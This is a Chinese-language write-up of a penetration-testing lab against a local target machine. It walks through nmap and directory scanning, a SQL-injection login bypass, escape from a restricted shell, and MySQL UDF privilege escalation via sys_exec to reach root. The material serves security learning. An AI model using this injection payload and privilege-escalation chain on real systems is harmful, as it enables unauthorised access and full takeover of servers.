目錄
- 一、環境搭建
- 信息收集
- 掃描ip
- 掃描開放端口
- 掃描版本服務信息
- 指紋探測
- 目錄掃描
- 二、Web滲透
- sql注入
- 三、提權
- UDF提權
- 修改權限
一、環境搭建
然后選擇靶機所在文件夾
信息收集
本靶機ip和攻擊機ip
攻擊機:192.168.108.130
靶機:192.168.108.141
掃描ip
靶機ip為:192.168.108.141
掃描開放端口
可用信息
22/tcp open ssh
80/tcp open http
139/tcp open netbios-ssn
445/tcp open microsoft-ds
掃描版本服務信息
可用信息
//端口 //應用層協議 //詳細信息
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0) //操作系統ubuntu
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
指紋探測
nmap 192.168.108.141 -p 22,80,139,445 -sV -sC -O --version-all
可用信息:
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Samba smbd 3.0.28a
目錄掃描
dirsearch -u http://192.168.108.141 -e*
dirb http://192.168.108.141
可用信息:
http://192.168.108.141/images/ //圖片
http://192.168.108.141/checklogin.php //檢測登錄情況
http://192.168.108.141/database.sql //數據庫文件
http://192.168.108.141/index.php //主頁面
http://192.168.108.141/john/ //用戶john
http://192.168.108.141/logout //登出
http://192.168.108.141/member //用戶個人空間
http://192.168.108.141/server-status //常見的用于監控和獲取 Web 服務器狀態的文件或頁面
二、Web滲透
訪問80端口,一個登錄框,嘗試弱口令無果
根據信息收集的東西,訪問database.sql頁面,有三個傳參點,id,username,password,以及一個可能是用戶名和密碼的消息
嘗試后發現不對
sql注入
密碼處報錯,存在注入
利用萬能密碼嘗試
1' or true-- - #'將sql語句注釋 or ture 添加永真條件 -- -:注釋掉后面的 SQL 代碼,防止其執行
登錄查看,發現這是member的頁面,查看源碼并未有什么有用消息
三、提權
拿到了賬號密碼就可以使用ssh連接,這里使用**-o HostKeyAlgorithms=+ssh-rsa**算法連接,因為靶機只支持該算法
ssh -o HostKeyAlgorithms=+ssh-rsa john@192.168.108.141
成功登錄之后發現讓我們輸入help或?,輸入看看,回顯了一部分命令,看來是我們只能使用這些命令進行操作,這里可能需要使用shell逃逸,即繞過安全限制
可用命令如下
cd clear echo exit help ll lpath ls
找找可用信息,可用看到我們是john用戶,有幾個可疑文件**.bash_history、
.bash_logout和
.lhistory**
查看當前SHELL變量,使用echo $SHELL
成功切換shell,查看當前進程,發現mysql是以root權限進行的
UDF提權
這里我們可用使用UDF提權
在 MySQL 中,UDF(User Defined Function,用戶定義函數)提權是一種利用用戶定義函數的漏洞或特性來提升權限的攻擊手段。攻擊者可以通過創建惡意的用戶定義函數來執行任意代碼,從而獲得更高的權限,甚至可能完全控制數據庫服務器
查找先前收集的php信息
find / -name *.php 2> /dev/null #2> /dev/null的意思是將錯誤信息全部丟棄,/dev/null是一個特殊設備文件,任何寫入的設備都會被丟棄
查看一下登錄檢測頁面,發現mysql密碼為空,也是挺抽象
連接mysql,成功連接
查看數據庫和數據表,有一個可疑文件
看看該表
select * from 'func';
修改權限
發現一個sys_exec函數,sys_exec
函數是一個用戶定義函數(UDF),它允許執行系統命令并返回命令的輸出。這個函數并不是 MySQL 的內置函數,而是通過安裝特定的 UDF 擴展來實現的。
修改john為管理員
select sys_exec('usermod -a -G admin john');
看看參數的意思
usermod
是一個 Linux 命令,用于修改用戶賬戶的屬性。-a
選項表示將用戶添加到指定的組,而不從其他組中刪除。-G admin
指定要將用戶添加到的組,這里是admin
組。john
是要修改的用戶名。
exit退出mysql,輸入sudo -i即可拿到root權限
這里看看兩中切換管理員命令的區別